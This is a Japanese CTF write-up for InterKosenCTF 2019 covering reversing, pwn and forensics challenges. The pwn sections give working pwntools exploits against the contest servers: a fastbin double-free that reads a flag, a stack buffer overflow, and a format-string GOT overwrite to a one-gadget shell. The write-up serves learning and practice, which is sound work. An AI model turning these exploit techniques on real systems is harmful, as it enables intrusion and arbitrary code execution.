InterKosenCTF 2019 wirteup

Begginers CTF と同じチームでInterKosenCTFに参加した。
pwnとrevに関しては難易度は大体同じくらいだった気がする。

pwnの hardとlunaticが解けそうで分からなかったので悔しい。

## [easy] [rev] basic crackme

実行してみるとこんな。

定番の流れですね。

```
vagrant@vagrant(3:16:57) ~/work/kosenctf2019
% ./crackme                                                                   [~/work/kosenctf2019]
<usage> ./crackme: <flag>
vagrant@vagrant(3:17:02) ~/work/kosenctf2019
% ./crackme flag                                                              [~/work/kosenctf2019]
Try harder!%
```



`ebp-0xC0` から `ebp-0x28` まで怪しげな値を格納しており、その後コマンドライン引数で与えた文字列の各文字列を弄った後にそれらの値と比較している。

<img width="301" alt="image-20190813122211488.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/192726/72f42159-61c8-5c09-ce5b-9020e7f950de.png">



よってFLAGを再現するスクリプトを書けば終了。

シフト演算使ったらもう少し綺麗に書けそう。

```python
l = [0xb4, 0xf7, 0x39, 0x59, 0xea, 0x39, 0x4b, 0x6b, 0xbf, 0x80, 0x3d, 0xd1, 0x42, 0x10, 0xe4, 0x42, 0x105, 0x58, 0x15, 0x108, 0xab, 0x18, 0xe8, 0xcd, 0x1b, 0xeb, 0x51, 0x1e, 0x111, 0x44, 0x51, 0x86, 0x53, 0x48, 0x59, 0x36, 0x10a, 0x9b, 0xfd]
for i in range(len(l)):
    l[i] -= i
    l[i] = l[i] * 16 % 256 + l[i] // 16
    print(chr(l[i]), end='')
print()
```







## [easy] [rev] magic function

crackmeと大体同じ。

こっちは入力値をいじくり回すのではなく元々ある値をいじくり回してから入力値と比較してくれてるので、gdbでブレークポイント貼って1文字ずつ見ていけば良い。



## [hard] [rev] favorites

これも大体同じ。

入力した文字列をいじくり回し、ハッシュ値のようなものを作成して比較している。



アルゴリズムは以下のような感じ。`f(input[i], i, prv)` という関数が肝。

```
prv = 0x1234
input = 入力した文字列

for i in range(14):
	prv = f(input[i], i, prv)
    hash[i] = prv
```



prvを引数に渡しているのでややこしそうに見えるが、 `f()` 内でprvに関する処理の部分は 下位8bitが0になるようにできており、逆に `input[i], i` に関する処理の部分は8bitに収まるようになっている。

そしてそれら2つを`or` とって `hash[i]` としているので、`prv` の値はガン無視して良い。

`input[i], i` に関わる処理の部分では`((input[i] << 4 + input[i] >> 4) && 0xff + 1) ^ ((15 - i) << 4) `  という処理になっているので、hash[i]の下位8bitから逆算すれば良い。

```python
s1 = [0xd5, 0x27, 0xd4, 0xc4, 0x67, 0x56, 0x84, 0x67, 0x04, 0x64, 0xa6, 0xd6, 0x34, 0x78]

for i in range(14):
    x = (15 - i ) * 16 ^ s1[i] - 1
    print(chr(x * 16 % 256 + x // 16), end="")
print()
```



## [easy] [pwn] fastbin tutorial

個人的に自分くらいのレベルの人に対して一番の良問だと思う。

サーバーに接続するとこんな感じ。

```
Welcome to Double Free Tutorial!
In this tutorial you will understand how fastbin works.
Fastbin has various security checks to protect the binary
from attackers. But don't worry. You just have to bypass
the double free check in this challenge. No more size checks!
Your goal is to leak the flag which is located at 0x55dbc1f94240.

[+] f = fopen("flag.txt", "r");
[+] flag = malloc(0x50);
[+] fread(flag, 1, 0x50, f);
[+] fclose(f);

This is the initial state:

 ===== Your List =====
   A = (nil)
   B = (nil)
   C = (nil)
 =====================

 +---- fastbin[3] ----+
 | 0x0000000000000000 |
 +--------------------+
           ||
           \/
(end of the linked list)

You can do [1]malloc / [2]free / [3]read / [4]write
>
```



ここから、Aに対しmallocとfreeをやってみるとこんな感じ

```
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): A
[+] A = malloc(0x50);

 ===== Your List =====
   A = 0x55dbc1f94120
   B = (nil)
   C = (nil)
 =====================

 +---- fastbin[3] ----+
 | 0x0000000000000000 |
 +--------------------+
           ||
           \/
(end of the linked list)

You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): A
[+] free(A);

 ===== Your List =====
   A = 0x55dbc1f94120
   B = (nil)
   C = (nil)
 =====================

 +---- fastbin[3] ----+
 | 0x000055dbc1f94110 |
 +--------------------+
           ||
           \/
 +--------- A --------+
 | 0x0000000000000000 |
 | 0x00007f598426eb78 |
 +--------------------+
           ||
           \/
(end of the linked list)

You can do [1]malloc / [2]free / [3]read / [4]write
```

freeすると、その領域(chunk)がfastbinのリストに追加されるのが分かる。

このfastbinは、次に同じサイズのmallocがあった時にそこからchunkを割り当てるためのキャッシュのような役割。



fastbinの先頭が指すアドレスは `Aのアドレス-0x10`  となっている。

これは、mallocで確保したchunk自体は `Aのアドレス-0x10` から始まっており、先頭の 0x10バイトにはchunkを管理するためのヘッダ情報が格納されているため。



ここでもう一度Aをfreeすると、fastbinはdouble freeを検知して落ちてしまう。

```
You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): A
[+] free(A);
*** Error in `./chall': double free or corruption (fasttop): 0x000055dbc1f94120 ***

```



しかし、Aを2連続でfreeせずに、A->B->Aという順でfreeすればdouble freeは感知されない。

まずは A->Bの順でfreeする。

```
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): A
[+] A = malloc(0x50);

 ===== Your List =====
   A = 0x5643c7190120
   B = (nil)
   C = (nil)
 =====================

 +---- fastbin[3] ----+
 | 0x0000000000000000 |
 +--------------------+
           ||
           \/
(end of the linked list)

You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): B
[+] B = malloc(0x50);

 ===== Your List =====
   A = 0x5643c7190120
   B = 0x5643c7190180
   C = (nil)
 =====================

 +---- fastbin[3] ----+
 | 0x0000000000000000 |
 +--------------------+
           ||
           \/
(end of the linked list)

You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): A
[+] free(A);

 ===== Your List =====
   A = 0x5643c7190120
   B = 0x5643c7190180
   C = (nil)
 =====================

 +---- fastbin[3] ----+
 | 0x00005643c7190110 |
 +--------------------+
           ||
           \/
 +--------- A --------+
 | 0x0000000000000000 |
 | 0x00007f430a92cb78 |
 +--------------------+
           ||
           \/
(end of the linked list)

You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): B
[+] free(B);

 ===== Your List =====
   A = 0x5643c7190120
   B = 0x5643c7190180
   C = (nil)
 =====================

 +---- fastbin[3] ----+
 | 0x00005643c7190170 |
 +--------------------+
           ||
           \/
 +--------- B --------+
 | 0x00005643c7190110 |
 | 0x00007f430a92cb78 |
 +--------------------+
           ||
           \/
 +--------- A --------+
 | 0x0000000000000000 |
 | 0x00007f430a92cb78 |
 +--------------------+
           ||
           \/
(end of the linked list)
```

(fatbin可視化してくれてるの神すぎるだろ、、)

このようにfreeの度に、fastbinの先頭にfreeされたchunkをつなぎ、freeされたchunkの中身をこれまで先頭だったchunkのアドレスに書き換えるということが行われる。



ここで、さらにAをもう一度freeしてみる。

```
You can do [1]malloc / [2]free / [3]read / [4]write
> 2
Which one? (A / B / C): A
[+] free(A);

 ===== Your List =====
   A = 0x5643c7190120
   B = 0x5643c7190180
   C = (nil)
 =====================

 +---- fastbin[3] ----+
 | 0x00005643c7190110 |
 +--------------------+
           ||
           \/
 +--------- A --------+
 | 0x00005643c7190170 |
 | 0x00007f430a92cb78 |
 +--------------------+
           ||
           \/
 +--------- B --------+
 | 0x00005643c7190110 |
 | 0x00007f430a92cb78 |
 +--------------------+
           ||
           \/
 +--------- A --------+
 | 0x00005643c7190170 |
 | 0x00007f430a92cb78 |
 +--------------------+
           ||
           \/
 +--------- B --------+
 | 0x00005643c7190110 |
 | 0x00007f430a92cb78 |
 +--------------------+
           ||
           \/
 +--------- A --------+
 | 0x00005643c7190170 |
 | 0x00007f430a92cb78 |
 +--------------------+
           ||
           \/
  (and more links...)
```

すると、Aが新たに先頭に追加され、Bを指すようになる。

しかし、BもAを指しているので、無限にお互いを指すようになる。



ここでCをmallocしてみる。

```
You can do [1]malloc / [2]free / [3]read / [4]write
> 1
Which one? (A / B / C): C
[+] C = malloc(0x50);

 ===== Your List =====
   A = 0x559b5ee4d120
   B = 0x559b5ee4d180
   C = 0x559b5ee4d120
 =====================

 +---- fastbin[3] ----+
 | 0x0000559b5ee4d170 |
 +--------------------+
           ||
           \/
 +--------- B --------+
 | 0x0000559b5ee4d110 |
 | 0x00007f76ba740b78 |
 +--------------------+
           ||
           \/
 +--------- A --------+
 | 0x0000559b5ee4d170 |
 | 0x00007f76ba740b78 |
 +--------------------+
           ||
           \/
 +--------- B --------+
 | 0x0000559b5ee4d110 |
 | 0x00007f76ba740b78 |
 +--------------------+
           ||
           \/
 +--------- A --------+
 | 0x0000559b5ee4d170 |
 | 0x00007f76ba740b78 |
 +--------------------+
           ||
           \/
 +--------- B --------+
 | 0x0000559b5ee4d110 |
 | 0x00007f76ba740b78 |
 +--------------------+
           ||
           \/
  (and more links...)

```



すると、fastbinの先頭につながっていたAが削除され、CにAと同じchunkが割り当てられる。



ここで、A(これまでBのアドレスを指していた) の中身をFLAGのアドレスに書き換えてあげる。すると、fastbinの最後がFLAGのアドレスを指すようになるはず、、

```
You can do [1]malloc / [2]free / [3]read / [4]write
> 4
    Which one? (A / B / C): C
    
[+] read(STDIN_FILENO, C, 0x10);
    > 40 02 bb df  e3 55 00 00 0a (FLAGのアドレスをバイト列で送る)     
    [+] OK.
    
     ===== Your List =====
       A = 0x55e3dfbb0120
       B = 0x55e3dfbb0180
       C = 0x55e3dfbb0120
     =====================
    
     +---- fastbin[3] ----+
     | 0x0000564849ef4170 |
     +--------------------+
               ||
               \/
     +--------- B --------+
     | 0x0000564849ef4110 |
     | 0x00007f8bdc43fb78 |
     +--------------------+
               ||
               \/
     +--------- A --------+
     | 0x0000564849ef4240 |
     | 0x00007f8bdc43fb0a |
     +--------------------+
               ||
               \/
     +------- flag! ------+
     | Oops! You forgot   |
     |   the overhead...? |
     +--------------------+
```



と、ここで `You forgot the overhead...?`  と注意喚起してくれる。

fastbinはヘッダーを含めたchunkの先頭を指しているので、FLAGのアドレスを指すには `0x10` だけ引いてあげる必要がある。

```
You can do [1]malloc / [2]free / [3]read / [4]write
> 4
    Which one? (A / B / C): C
    
[+] read(STDIN_FILENO, C, 0x10);
    > 30 02 bb df  e3 55 00 00 0a (FLAGのアドレス - 0x10をバイト列で送る)     
    [+] OK.
    
     ===== Your List =====
       A = 0x55e3dfbb0120
       B = 0x55e3dfbb0180
       C = 0x55e3dfbb0120
     =====================
    
     +---- fastbin[3] ----+
     | 0x000055e3dfbb0170 |
     +--------------------+
               ||
               \\/
     +--------- B --------+
     | 0x000055e3dfbb0110 |
     | 0x00007f27c829ab78 |
     +--------------------+
               ||
               \\/
     +--------- A --------+
     | 0x000055e3dfbb0230 |
     | 0x00007f27c829ab0a |
     +--------------------+
               ||
               \\/
     +------- flag! ------+
     | THE FLAG IS HERE!! |
     +--------------------+
    
```

あとは、mallocしていってflagのアドレスをmallocした後にreadしてあげればFLAGゲット！



```
    You can do [1]malloc / [2]free / [3]read / [4]write
    > 1
    Which one? (A / B / C): C
    [+] C = malloc(0x50);
    
     ===== Your List =====
       A = 0x562ba6a33120
       B = 0x562ba6a33180
       C = 0x562ba6a33180
     =====================
    
     +---- fastbin[3] ----+
     | 0x0000562ba6a33110 |
     +--------------------+
               ||
               \/
     +--------- A --------+
     | 0x0000562ba6a33230 |
     | 0x00007f423f117b0a |
     +--------------------+
               ||
               \/
     +------- flag! ------+
     | THE FLAG IS HERE!! |
     +--------------------+
    
    You can do [1]malloc / [2]free / [3]read / [4]write
    > 1
    Which one? (A / B / C): C
    [+] C = malloc(0x50);
    
     ===== Your List =====
       A = 0x562ba6a33120
       B = 0x562ba6a33180
       C = 0x562ba6a33120
     =====================
    
     +---- fastbin[3] ----+
     | 0x0000562ba6a33230 |
     +--------------------+
               ||
               \/
     +------- flag! ------+
     | THE FLAG IS HERE!! |
     +--------------------+
    
    You can do [1]malloc / [2]free / [3]read / [4]write
    > 1
    Which one? (A / B / C): C
    [+] C = malloc(0x50);
    
     ===== Your List =====
       A = 0x562ba6a33120
       B = 0x562ba6a33180
       C = 0x562ba6a33240
     =====================
    
     +---- fastbin[3] ----+
     | 0x4654436e65736f4b |
     +--------------------+
               ||
               \/
    (maybe invalid address)
    (or unreferenced heap?)
    
    You can do [1]malloc / [2]free / [3]read / [4]write
    > 3
    Which one? (A / B / C): C
    [+] printf("[+] %s\n", C);
    [+] KosenCTF{y0ur_n3xt_g0al_is_t0_und3rst4nd_fastbin_corruption_attack_m4yb3}
```



スクリプトはこちら

```python
from pwn import *
rhp = {'host': 'pwn.kosenctf.com', 'port':9001}

context.log_level = 'debug'
conn = remote(rhp['host'], rhp['port'])

conn.recvuntil(b'located at ')
addr = int(conn.recvuntil(b'.').decode()[:-1],16) -0x10
conn.recv()

def malloc(x):
    conn.sendline('1')
    conn.recv()
    conn.sendline(x)
    conn.recv()
    conn.recv()

def free(x):
    conn.sendline('2')
    conn.recv()
    conn.sendline(x)
    conn.recv()
    conn.recv()

def read(x):
    conn.sendline('3')
    conn.recv()
    conn.sendline(x)
    conn.recv()
    conn.recv()

def write(x, addr):
    conn.sendline('4')
    conn.recv()
    conn.sendline(x)
    conn.recv()
    conn.sendline(p64(addr))
    conn.recv()
    conn.recv()

malloc('A')
malloc('B')
free('A')
free('B')
free('A')
malloc('C')
write('C', addr)
malloc('C')
malloc('C')
malloc('C')
read('C')

```





## [easy] [pwn] shopkeeper

接続するとこんな感じ。

```
% nc pwn.kosenctf.com 9004                       [~/work/ctf/ctfs/kosenctf_2019/shopkeeper][master]
* Hello, traveller.
* What would you like to buy?
 $25 - Cinnamon Bun
 $15 - Biscle
 $50 - Manly Bandanna
 $50 - Tough Glove
 $9999 - Hopes
> 
```

所持金が100に設定されており、Hopesを買おうとすると金が足りない、と言われる。

```
> Hopes
* That's not enough money.
* Have a nice day.
```



バッファは 0x20のサイズしかないのに、入力をいくらでも受け付けるようになってしまっているので、容易にバッファオーバーフローが起きる。



バッファは `ebp-0x40` にあり、money変数は `ebp-0xC` にあるので、60文字くらい入力してあげれば、moneyを書き換えることができる。

また、’Hopes' とのstrcmpを通さなければならないので、入力の先頭は `Hopes\x00` としてあげる。(readline関数がヌル文字を素通りして改行まで読み込んでくれるので通る。)



```
from pwn import *
import time

rhp = {'host': 'pwn.kosenctf.com', 'port':9004}
conn = remote(rhp['host'], rhp['port'])

context.log_level = 'debug'

conn.recvuntil(b'> ')
time.sleep(3)
payload = 'Hopes\x00\x00\x00' + 'A' * 52
conn.sendline(payload)

context.log_level = 'info'

conn.interactive()
```

 



## [medium] [pwn] bullsh

接続するとこんな感じ

```
% nc pwn.kosenctf.com 9003                           [~/work/ctf/ctfs/kosenctf_2019/bullsh][master]
  __                                     __
 /  |      / / /                 |      /    /         / /
|___|     ( ( (___  ___  ___  ___|     (___ (___  ___ ( (
|   )|   )| | |   )|___)|   )|   )         )|   )|___)| |
|__/ |__/ | | |  / |__  |__/||__/       __/ |  / |__  | |
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
cat: No such command
```

`ls` と`exit` しか使えないシェルが用意されている。



No such command と表示するところで入力値をそのまま `printf` しており、FSBがある。

```
$ AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
AAAA,400927,65,d5439081,d57168c0,d593e4c0,0,2b80b660,0,2b80b688,2b80b6b0,40084e,41414141: No such command
```



stackの中に `__libc_start_main + 240` があるので、まずそのアドレスをリークさせ、その後GotOverwriteを行う。



今回気づいたのだが、Gotのアドレスは、最初に使われるタイミングで書き込まれるらしい。

よって1回以上使われている関数で、書き換えている間は使われず、書き換え終わった後に使われる関数を選ぶ必要がある。

そこで、`system()` を選んだ。初めに `ls` を入力して1回使ってあげ、oneGadgetRCEに書き換えた後にもう一度 `ls` を入力することでシェルを起動できる。



```python
from pwn import *
rhp = {'host': 'pwn.kosenctf.com', 'port':9003}
conn = remote(rhp['host'], rhp['port'])

context.log_level = 'debug'

binf = ELF('chall')
got_system = binf.got[b'system']
libc = ELF('./libc-2.27.so')
offset_libc_start_main = libc.symbols[b'__libc_start_main']
offset_libc_rce = 0x10a38c

conn.recvuntil('$ ')
conn.sendline(b'ls')
conn.recvuntil('$ ')

conn.sendline(b'%25$p')
libc_start_main = int(conn.recvuntil(b':').decode()[:-1], 16) - 240
print(hex(libc_start_main))
libc_rce = libc_start_main - offset_libc_start_main + offset_libc_rce
print(hex(libc_rce))
conn.recvuntil('$ ')

payload = b"%%%dx%%14$hn" % ((libc_rce >> 16) & 0xffff)
payload = payload.ljust(16, b'_')
payload += p64(got_system + 2)

conn.sendline(payload)
conn.recvuntil('$ ')

payload = b"%%%dx%%14$hn" % (libc_rce & 0xffff)
payload = payload.ljust(16, b'_')
payload += p64(got_system)

conn.sendline(payload)
conn.recvuntil('$ ')

conn.sendline(b'ls')

context.log_level = 'info'

conn.interactive()
```



## [easy] [forensics] lost world

vdiファイルが渡され、rootユーザーでログインすればFlagが手に入る。

virtualbox弱すぎてvdiファイルの読み込ませ方が分からなかったが、チームメイトに教えてもらって読み込んだ。

タイプでWindows選んで読み込んでもubuntu立ち上がるんやね、、



あとはrootユーザーのパスワードをリセットすれば良い。



[ここ](https://qiita.com/esesesesescup/items/73cbadca52cf8c306b7e)に書いてることやったらできた。